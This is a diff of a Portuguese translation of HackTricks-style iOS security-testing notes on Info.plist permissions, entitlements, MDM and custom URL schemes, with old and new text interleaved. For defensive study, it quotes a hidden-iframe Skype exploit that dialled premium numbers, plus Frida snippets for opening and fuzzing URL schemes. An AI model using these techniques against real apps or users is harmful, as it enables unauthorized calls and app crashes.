Para aqueles com acesso ao código-fonte, a verificação das permissões incluídas no arquivo `Info.plist` pode ser feita da seguinte maneira:
|
||||
|
||||
[_Purpose strings_](https://developer.apple.com/documentation/uikit/core_app/protecting_the_user_s_privacy/accessing_protected_resources?language=objc#3037322) ou _strings de descrição de uso_ são textos personalizados que são oferecidos aos usuários no alerta de solicitação de permissão do sistema ao pedir permissão para acessar dados ou recursos protegidos.
|
||||
1. Abrir o projeto no Xcode.
|
||||
2. Localizar e abrir o arquivo `Info.plist`.
|
||||
3. Procurar por chaves prefixadas com `"Privacy -"`, com a opção de visualizar chaves/valores brutos para maior clareza.
|
||||
|
||||
![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQw8W2q7BB5-il7r%2Fpermission_request_alert.png?alt=media)
|
||||
Ao lidar com um arquivo IPA, os seguintes passos podem ser seguidos:
|
||||
|
||||
Se tiver o código-fonte original, você pode verificar as permissões incluídas no arquivo `Info.plist`:
|
||||
1. Descompactar o IPA.
|
||||
2. Localizar o arquivo `Info.plist` dentro de `Payload/<nomedoaplicativo>.app/`.
|
||||
3. Converter o arquivo para o formato XML, se necessário, para facilitar a inspeção.
|
||||
|
||||
* Abra o projeto com o Xcode.
|
||||
* Encontre e abra o arquivo `Info.plist` no editor padrão e procure pelas chaves que começam com `"Privacy -"`.
|
||||
|
||||
Você pode mudar a visualização para exibir os valores brutos clicando com o botão direito e selecionando "Show Raw Keys/Values" (desta forma, por exemplo, `"Privacy - Location When In Use Usage Description"` se transformará em `NSLocationWhenInUseUsageDescription`).
|
||||
|
||||
Se tiver apenas o IPA:
|
||||
|
||||
* Descompacte o IPA.
|
||||
* O `Info.plist` está localizado em `Payload/<appname>.app/Info.plist`.
|
||||
* Converta-o se necessário (por exemplo, `plutil -convert xml1 Info.plist`) conforme explicado no capítulo "iOS Basic Security Testing", seção "The Info.plist File".
|
||||
* Inspecione todas as _chaves de strings de propósito no Info.plist_, geralmente terminando com `UsageDescription`:
|
||||
|
||||
```markup
|
||||
Por exemplo, as strings de propósito no arquivo `Info.plist` podem se parecer com isso:
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Sua localização é usada para fornecer direções passo a passo até seu destino.</string>
|
||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||
```
|
||||
|
||||
## Capacidades do Dispositivo
|
||||
|
||||
As capacidades do dispositivo são usadas pela App Store para garantir que apenas dispositivos compatíveis sejam listados e, portanto, tenham permissão para baixar a aplicação. Elas são especificadas no arquivo `Info.plist` da aplicação sob a chave [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple_ref/doc/plist/info/UIRequiredDeviceCapabilities).
|
||||
```markup
|
||||
O arquivo `Info.plist` de um aplicativo especifica as **capacidades do dispositivo** que ajudam a App Store a filtrar aplicativos para compatibilidade com o dispositivo. Estas são definidas sob a chave **`UIRequiredDeviceCapabilities`**. Por exemplo:
|
||||
```xml
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
> Normalmente, você encontrará a capacidade `armv7`, o que significa que o aplicativo é compilado apenas para o conjunto de instruções armv7, ou se é um aplicativo universal de 32/64 bits.
|
||||
|
||||
Por exemplo, um aplicativo pode depender completamente do NFC para funcionar (por exemplo, um aplicativo ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596)). De acordo com o [arquivo de referência de compatibilidade de dispositivos iOS](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), o NFC está disponível apenas a partir do iPhone 7 (e iOS 11). Um desenvolvedor pode querer excluir todos os dispositivos incompatíveis definindo a capacidade do dispositivo `nfc`.
|
||||
Este exemplo indica que o aplicativo é compatível com o conjunto de instruções armv7. Os desenvolvedores também podem especificar capacidades como nfc para garantir que seu aplicativo esteja disponível apenas para dispositivos que suportam NFC.
|
||||
|
||||
## Entitlements
|
||||
|
||||
> Entitlements são pares de chave-valor que são assinados em um aplicativo e permitem autenticação além de fatores de tempo de execução, como o ID de usuário UNIX. Como os entitlements são assinados digitalmente, eles não podem ser alterados. Entitlements são usados extensivamente por aplicativos do sistema e daemons para **realizar operações privilegiadas específicas que, de outra forma, exigiriam que o processo fosse executado como root**. Isso reduz muito o potencial de escalonamento de privilégios por um aplicativo do sistema ou daemon comprometido.
|
||||
**Entitlements** são outro aspecto crítico do desenvolvimento de aplicativos iOS, servindo como pares chave-valor que concedem permissão aos aplicativos para realizar determinadas operações além das verificações em tempo de execução. Por exemplo, habilitar a **Proteção de Dados** em um aplicativo envolve adicionar um entitlement específico no projeto Xcode, que é então refletido no arquivo de entitlements do aplicativo ou no arquivo de provisionamento móvel incorporado para IPAs.
|
||||
|
||||
Por exemplo, se você quiser definir a capacidade "Proteção de Dados Padrão", você precisaria ir até a aba **Capabilities** no Xcode e habilitar **Data Protection**. Isso é escrito diretamente pelo Xcode no arquivo `<appname>.entitlements` como o entitlement `com.apple.developer.default-data-protection` com o valor padrão `NSFileProtectionComplete`. No IPA, podemos encontrar isso no `embedded.mobileprovision` como:
|
||||
```markup
|
||||
<key>Entitlements</key>
|
||||
<dict>
|
||||
...
|
||||
<key>com.apple.developer.default-data-protection</key>
|
||||
<string>NSFileProtectionComplete</string>
|
||||
</dict>
|
||||
```
|
||||
Para outras capacidades, como HealthKit, o usuário deve ser solicitado a dar permissão, portanto, não é suficiente adicionar os direitos, chaves especiais e strings devem ser adicionadas ao arquivo `Info.plist` do aplicativo.
|
||||
|
||||
# Fundamentos de Objective-C e Swift
|
||||
# Referências
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||||
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
|
||||
**Objective-C** possui um **runtime dinâmico**, então quando um programa Objective-C é executado no iOS, ele chama bibliotecas cujos **endereços são resolvidos em tempo de execução** comparando o nome da função enviada na mensagem contra uma lista de todos os nomes de funções disponíveis.
|
||||
|
||||
No início, apenas aplicativos criados pela Apple rodavam nos iPhones, então eles tinham **acesso a tudo** já que eram **confiáveis**. No entanto, quando a Apple **permitiu** **aplicativos de terceiros,** a Apple simplesmente removeu os arquivos de cabeçalho das funções poderosas para "escondê-las" dos desenvolvedores. No entanto, os desenvolvedores descobriram que funções "seguras" precisavam de algumas dessas funções não documentadas e apenas criando um **arquivo de cabeçalho personalizado com os nomes das funções não documentadas, era possível invocar essas poderosas funções ocultas.** De fato, a Apple, antes de permitir a publicação de um aplicativo, verifica se o aplicativo chama alguma dessas funções proibidas.
|
||||
|
||||
Então, apareceu o Swift. Como **Swift é estaticamente vinculado** (não resolve o endereço das funções em tempo de execução como Objective-C), é mais fácil verificar as chamadas que um programa Swift vai fazer através de análise estática de código.
|
||||
|
||||
# Gerenciamento de Dispositivos
|
||||
|
||||
A partir da versão 6 do iOS, existe **suporte integrado para capacidade de gerenciamento de dispositivos** com controles de granulação fina que permitem a uma organização controlar os dispositivos apple corporativos.\
|
||||
O registro pode ser **iniciado pelo usuário instalando um agente** para acessar os aplicativos corporativos. Neste caso, o dispositivo geralmente pertence ao usuário.\
|
||||
Ou a **empresa pode indicar os números de série** dos dispositivos comprados ou o ID do pedido de compra e especificar o perfil MDM para instalar nesses dispositivos. Note que a Apple **não permite registrar um dispositivo particular desta forma duas vezes**. Uma vez que o primeiro perfil é deletado, o usuário precisa dar consentimento para instalar outro.
|
||||
|
||||
O usuário pode ver as políticas instaladas em _**Configurações**_ --> _**Geral**_ --> _**Gerenciamento de Dispositivos e Perfis**_
|
||||
|
||||
Como essas políticas MDM estão verificando e limitando outros aplicativos, elas estão **rodando com mais privilégios**.\
|
||||
Uma política MDM pode **exigir** que os **usuários** tenham um **código de acesso** definido com uma **complexidade mínima** de senha.\
|
||||
Os perfis são vinculados ao deviceID, **assinados** e **criptografados** pelo servidor MDM e são **à prova de adulteração**. Eles **não podem** ser **removidos** sem **perder** todos os **dados corporativos**.\
|
||||
Perfis MDM permitem **apagar** todos os **dados** se houver X **tentativas falhas** de senha. Além disso, o **administrador** pode **apagar remotamente** o iPhone a qualquer momento via interface MDM.
|
||||
|
||||
Agentes MDM também **verificam** possíveis **jailbreaks do dispositivo**, pois isso é um estado muito perigoso para um iPhone.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,64 +1,38 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
Esta é um resumo das informações relacionadas em [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
Esquemas de URL personalizados [permitem que aplicativos se comuniquem via um protocolo personalizado](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Um aplicativo deve declarar suporte para os esquemas e tratar URLs de entrada que utilizem esses esquemas.
|
||||
## Informações Básicas
|
||||
|
||||
> Esquemas de URL oferecem um vetor de ataque potencial para seu aplicativo, então certifique-se de **validar todos os parâmetros da URL** e **descartar quaisquer URLs malformadas**. Além disso, limite as **ações** disponíveis àquelas que **não arrisquem os dados do usuário**.
|
||||
Os esquemas de URL personalizados permitem que os aplicativos se comuniquem usando um protocolo personalizado, conforme detalhado na [Documentação do Desenvolvedor da Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Esses esquemas devem ser declarados pelo aplicativo, que então manipula URLs de entrada seguindo esses esquemas. É crucial **validar todos os parâmetros de URL** e **descartar URLs malformadas** para evitar ataques por meio desse vetor.
|
||||
|
||||
Por exemplo, a URI: `myapp://hostname?data=123876123` irá **invocar** o **aplicativo** mydata (aquele que **registrou** o esquema `mydata`) para a **ação** relacionada ao **hostname** `hostname` enviando o **parâmetro** `data` com valor `123876123`
|
||||
Um exemplo é dado onde o URI `myapp://hostname?data=123876123` invoca uma ação específica do aplicativo. Uma vulnerabilidade observada foi no aplicativo móvel do Skype, que permitia ações de chamada não autorizadas via o protocolo `skype://`. Os esquemas registrados podem ser encontrados no `Info.plist` do aplicativo em `CFBundleURLTypes`. Aplicativos maliciosos podem explorar isso ao re-registrar URIs para interceptar informações sensíveis.
|
||||
|
||||
Um exemplo vulnerável é o seguinte [bug no aplicativo móvel Skype](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html), descoberto em 2010: O aplicativo Skype registrou o manipulador de protocolo `skype://`, que **permitia que outros aplicativos iniciassem chamadas para outros usuários do Skype e números de telefone**. Infelizmente, o Skype não pedia permissão aos usuários antes de fazer as chamadas, então qualquer aplicativo poderia ligar para números arbitrários sem o conhecimento do usuário. Os atacantes exploraram essa vulnerabilidade colocando um `<iframe src="skype://xxx?call"></iframe>` invisível (onde `xxx` foi substituído por um número premium), então qualquer usuário do Skype que visitasse inadvertidamente um site malicioso chamaria o número premium.
|
||||
### Registro de Esquemas de Consulta do Aplicativo
|
||||
|
||||
Você pode encontrar os **esquemas registrados por um aplicativo** no arquivo **`Info.plist`** do aplicativo procurando por **`CFBundleURLTypes`** (exemplo de [iGoat-Swift](https://github.com/OWASP/iGoat-Swift)):
|
||||
```markup
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.iGoat.myCompany</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>iGoat</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
```
|
||||
No entanto, observe que **aplicações maliciosas podem re-registrar URIs** já registradas por aplicações. Então, se você está enviando **informações sensíveis via URIs** (myapp://hostname?password=123456), uma aplicação **maliciosa** pode **interceptar** a URI com a **informação** **sensível**.
|
||||
|
||||
Além disso, a entrada dessas URIs **deve ser verificada e higienizada**, pois pode vir de **origens maliciosas** tentando explorar SQLInjections, XSS, CSRF, Path Traversals ou outras possíveis vulnerabilidades.
|
||||
|
||||
## Registro de Esquemas de Consulta de Aplicativos
|
||||
|
||||
Aplicativos podem chamar [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) para verificar se o **aplicativo alvo está disponível**. No entanto, como este método estava sendo usado por aplicativos maliciosos como uma forma de **enumerar aplicativos instalados**, [a partir do iOS 9.0 os esquemas de URL passados para ele também devem ser declarados](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) adicionando a chave `LSApplicationQueriesSchemes` ao arquivo `Info.plist` do aplicativo e um array de **até 50 esquemas de URL**.
|
||||
```markup
|
||||
A partir do iOS 9.0, para verificar se um aplicativo está disponível, `canOpenURL:` requer a declaração de esquemas de URL no `Info.plist` em `LSApplicationQueriesSchemes`. Isso limita os esquemas que um aplicativo pode consultar para 50, aprimorando a privacidade ao evitar a enumeração de aplicativos.
|
||||
```xml
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
<string>url_scheme1</string>
|
||||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
`canOpenURL` sempre retornará `NO` para esquemas não declarados, independentemente de haver ou não um aplicativo apropriado instalado. No entanto, essa restrição se aplica apenas ao `canOpenURL`.
|
||||
### Testando o Manuseio e Validação de URLs
|
||||
|
||||
## Testando o Manuseio e Validação de URL
|
||||
|
||||
Para determinar como um caminho de URL é construído e validado, se você tem o código-fonte original, você pode **procurar pelos seguintes métodos**:
|
||||
|
||||
* método `application:didFinishLaunchingWithOptions:` ou `application:willFinishLaunchingWithOptions:`: verifique como a decisão é tomada e como as informações sobre a URL são recuperadas.
|
||||
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc): verifique como o recurso está sendo aberto, ou seja, como os dados estão sendo analisados, verifique as [opções](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey), especialmente se o acesso pelo aplicativo chamador ([`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication)) deve ser permitido ou negado. O aplicativo também pode precisar de permissão do usuário ao usar o esquema de URL personalizado.
|
||||
|
||||
No Telegram, você encontrará [quatro métodos diferentes sendo usados](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250):
|
||||
Os desenvolvedores devem inspecionar métodos específicos no código-fonte para entender a construção e validação do caminho do URL, como `application:didFinishLaunchingWithOptions:` e `application:openURL:options:`. Por exemplo, o Telegram emprega vários métodos para abrir URLs:
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
|
@ -82,90 +56,17 @@ self.openUrl(url: url)
|
|||
return true
|
||||
}
|
||||
```
|
||||
## Testando Requisições de URL para Outros Apps
|
||||
### Testando Solicitações de URL para Outros Apps
|
||||
|
||||
O método [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) e o método [deprecated `openURL:` de `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) são responsáveis por **abrir URLs** (ou seja, para enviar requisições / fazer consultas a outros apps) que podem ser locais ao app atual ou podem ser fornecidos por um app diferente. Se você tem o código-fonte original, pode procurar diretamente pelo uso desses métodos.
|
||||
Métodos como `openURL:options:completionHandler:` são cruciais para abrir URLs e interagir com outros aplicativos. Identificar o uso desses métodos no código-fonte do aplicativo é fundamental para entender as comunicações externas.
|
||||
|
||||
Adicionalmente, se você tem interesse em saber se o app está consultando serviços ou apps específicos, e se o app é bem conhecido, você também pode procurar por esquemas de URL comuns online e incluí-los em seus **greps ([**lista de esquemas de apps iOS**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)**)**.
|
||||
```bash
|
||||
egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/
|
||||
egrep -nr "openURL\(" ./Telegram-iOS/
|
||||
egrep -nr "mt-encrypted-file://" ./Telegram-iOS/
|
||||
egrep -nr "://" ./Telegram-iOS/
|
||||
```
|
||||
## Testando Métodos Obsoletos
|
||||
### Testando Métodos Obsoletos
|
||||
|
||||
Procure por métodos obsoletos como:
|
||||
O tratamento de métodos obsoletos para abertura de URLs, como `application:handleOpenURL:` e `openURL:`, deve ser identificado e revisado quanto às implicações de segurança.
|
||||
|
||||
* [`application:handleOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622964-application?language=objc)
|
||||
* [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)
|
||||
* [`application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application)
|
||||
### Fuzzing em Esquemas de URL
|
||||
|
||||
Por exemplo, aqui encontramos esses três:
|
||||
```bash
|
||||
$ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
|
||||
|
||||
0x1000d9e90 31 30 UIApplicationOpenURLOptionsKey
|
||||
0x1000dee3f 50 49 application:openURL:sourceApplication:annotation:
|
||||
0x1000dee71 29 28 application:openURL:options:
|
||||
0x1000dee8e 27 26 application:handleOpenURL:
|
||||
0x1000df2c9 9 8 openURL:
|
||||
0x1000df766 12 11 canOpenURL:
|
||||
0x1000df772 35 34 openURL:options:completionHandler:
|
||||
...
|
||||
```
|
||||
## Chamando URLs arbitrárias
|
||||
|
||||
* **Safari**: Para testar rapidamente um esquema de URL, você pode abrir as URLs no Safari e observar como o aplicativo se comporta. Por exemplo, se você escrever `tel://123456789` o Safari tentará iniciar a chamada para o número.
|
||||
* **Aplicativo de Notas**: Pressione e segure os links que você escreveu para testar esquemas de URL personalizados. Lembre-se de sair do modo de edição para poder abri-los. Observe que você pode clicar ou pressionar e segurar links incluindo esquemas de URL personalizados apenas se o aplicativo estiver instalado, caso contrário, eles não serão destacados como _links clicáveis_.
|
||||
* [**IDB**](https://github.com/facebook/idb):
|
||||
* Inicie o IDB, conecte-se ao seu dispositivo e selecione o aplicativo alvo. Você pode encontrar detalhes na [documentação do IDB](https://www.idbtool.com/documentation/setup.html).
|
||||
* Vá para a seção **URL Handlers**. Em **URL schemes**, clique em **Refresh**, e à esquerda você encontrará uma lista de todos os esquemas personalizados definidos no aplicativo em teste. Você pode carregar esses esquemas clicando em **Open**, no lado direito. Simplesmente abrindo um esquema de URI em branco (por exemplo, abrindo `myURLscheme://`), você pode descobrir funcionalidades ocultas (por exemplo, uma janela de depuração) e contornar a autenticação local.
|
||||
* **Frida**:
|
||||
|
||||
Se você simplesmente quer abrir o esquema de URL, pode fazer isso usando Frida:
|
||||
|
||||
```javascript
|
||||
$ frida -U iGoat-Swift
|
||||
|
||||
[iPhone::iGoat-Swift]-> function openURL(url) {
|
||||
var UIApplication = ObjC.classes.UIApplication.sharedApplication();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return UIApplication.openURL_(toOpen);
|
||||
}
|
||||
[iPhone::iGoat-Swift]-> openURL("tel://234234234")
|
||||
true
|
||||
```
|
||||
|
||||
Neste exemplo do [Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) o autor usa a API não pública `LSApplicationWorkspace.openSensitiveURL:withOptions:` para abrir as URLs (do aplicativo SpringBoard):
|
||||
|
||||
```javascript
|
||||
function openURL(url) {
|
||||
var w = ObjC.classes.LSApplicationWorkspace.defaultWorkspace();
|
||||
var toOpen = ObjC.classes.NSURL.URLWithString_(url);
|
||||
return w.openSensitiveURL_withOptions_(toOpen, null);
|
||||
}
|
||||
```
|
||||
|
||||
> Observe que o uso de APIs não públicas não é permitido na App Store, é por isso que nem testamos essas, mas estamos autorizados a usá-las para nossa análise dinâmica.
|
||||
|
||||
## Fuzzing de Esquemas de URL
|
||||
|
||||
Se o aplicativo analisa partes da URL, você também pode realizar fuzzing de entrada para detectar bugs de corrupção de memória.
|
||||
|
||||
O que aprendemos acima pode agora ser usado para construir seu próprio fuzzer no idioma de sua escolha, por exemplo, em Python e chamar o `openURL` usando [RPC do Frida](https://www.frida.re/docs/javascript-api/#rpc). Esse fuzzer deve fazer o seguinte:
|
||||
|
||||
* Gerar cargas úteis.
|
||||
* Para cada uma delas, chamar `openURL`.
|
||||
* Verificar se o aplicativo gera um relatório de falhas (`.ips`) em `/private/var/mobile/Library/Logs/CrashReporter`.
|
||||
|
||||
O projeto [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) oferece dicionários de fuzzing que você pode usar como cargas úteis.
|
||||
|
||||
## **Fuzzing Usando Frida**
|
||||
|
||||
Fazer isso com Frida é bastante fácil, você pode se referir a este [post do blog](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) para ver um exemplo que faz fuzzing no aplicativo iGoat-Swift (funcionando no iOS 11.1.2).
|
||||
|
||||
Antes de executar o fuzzer, precisamos dos esquemas de URL como entradas. A partir da análise estática, sabemos que o aplicativo iGoat-Swift suporta o seguinte esquema de URL e parâmetros: `iGoat://?contactNumber={0}&message={0}`.
|
||||
O fuzzing em esquemas de URL pode identificar bugs de corrupção de memória. Ferramentas como [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) podem automatizar esse processo abrindo URLs com payloads variados para monitorar falhas, exemplificado pela manipulação de URLs no aplicativo iGoat-Swift:
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
|
@ -173,22 +74,19 @@ Watching for crashes from iGoat...
|
|||
No logs were moved.
|
||||
Opened URL: iGoat://?contactNumber=0&message=0
|
||||
```
|
||||
# Referências
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
|
||||
## Referências
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking da AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
